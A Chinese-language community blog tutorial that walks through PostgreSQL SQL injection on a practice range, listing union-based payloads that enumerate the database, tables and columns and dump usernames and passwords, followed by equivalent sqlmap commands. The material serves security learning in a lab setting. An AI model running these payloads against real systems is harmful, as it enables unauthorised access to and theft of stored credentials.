web安全|渗透测试|网络安全 超详细​ PostgreSQL 注入

举报
黑色地带(崛起) 发表于 2023/02/16 12:35:46 2023/02/16
【摘要】 web安全|渗透测试|网络安全 超详细​ PostgreSQL 注入

 PostgreSQL 注入

postgreSQL简述

和mysql 的注入语法类似的

不同点:

查询当前数据库使用:current_database()函数

在pg_stat_user_tables库查询表名,使用relname关键字

limit使用语法为limit 1 offset 0


墨者靶场SQL手工注入漏洞测试

编辑


第一步:测试是否有注入点

'

and 1=1

and 1=2

(加单引号无回显,and 1=1 正常回显,and 1=2 无法正常显示,存在注入点) 

编辑

编辑

编辑

第二步:判断回显字段

order by 4

order by 5

(order by 4正常回显,order by 5无法回显,回显字段为4)

 编辑


编辑



第三步:测试类型

and 1=2 union select null,null,null,null

and 1=2 union select null,'null','null',null

(可以测试出为字符型)

编辑

编辑

 第四步:获取数据库

and 1=2 union select null,'null',current_database(),null

编辑


第五步: 获取表名

and 1=2 union select null,'null',relname,null from pg_stat_user_tables limit 1 offset 1 

编辑



第六步:获取表下字段

and 1=2 union select null,'null',column_name,null from information_schema.columns where table_name ='reg_users' limit 1 offset 0

and 1=2 union select null,'null',column_name,null from information_schema.columns where table_name='reg_users' limit 1 offset 1

and 1=2 union select null,'null',column_name,null from information_schema.columns where table_name='reg_users' limit 1 offset 2

and 1=2 union select null,'null',column_name,null from information_schema.columns where table_name='reg_users' limit 1 offset 3


编辑


编辑

编辑

 编辑


第七步:获取数据

and 1=2 union select null,name,password,null from public.reg_users --

编辑


第八步:解密登录

编辑

 编辑


工具注入 (sqlmap)

第一步:获取当前数据库

sqlmap -u 'URL' --current-db 

编辑


编辑


第二步:获取指定数据库下表名

sqlmap -u 'URL' --tables -D"public"

编辑

编辑



第三步:获取指定表下字段名

sqlmap -u 'URL' --columns -T "reg_users" -D "public"

编辑

编辑


第四步:获取数据

编辑

 编辑



【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。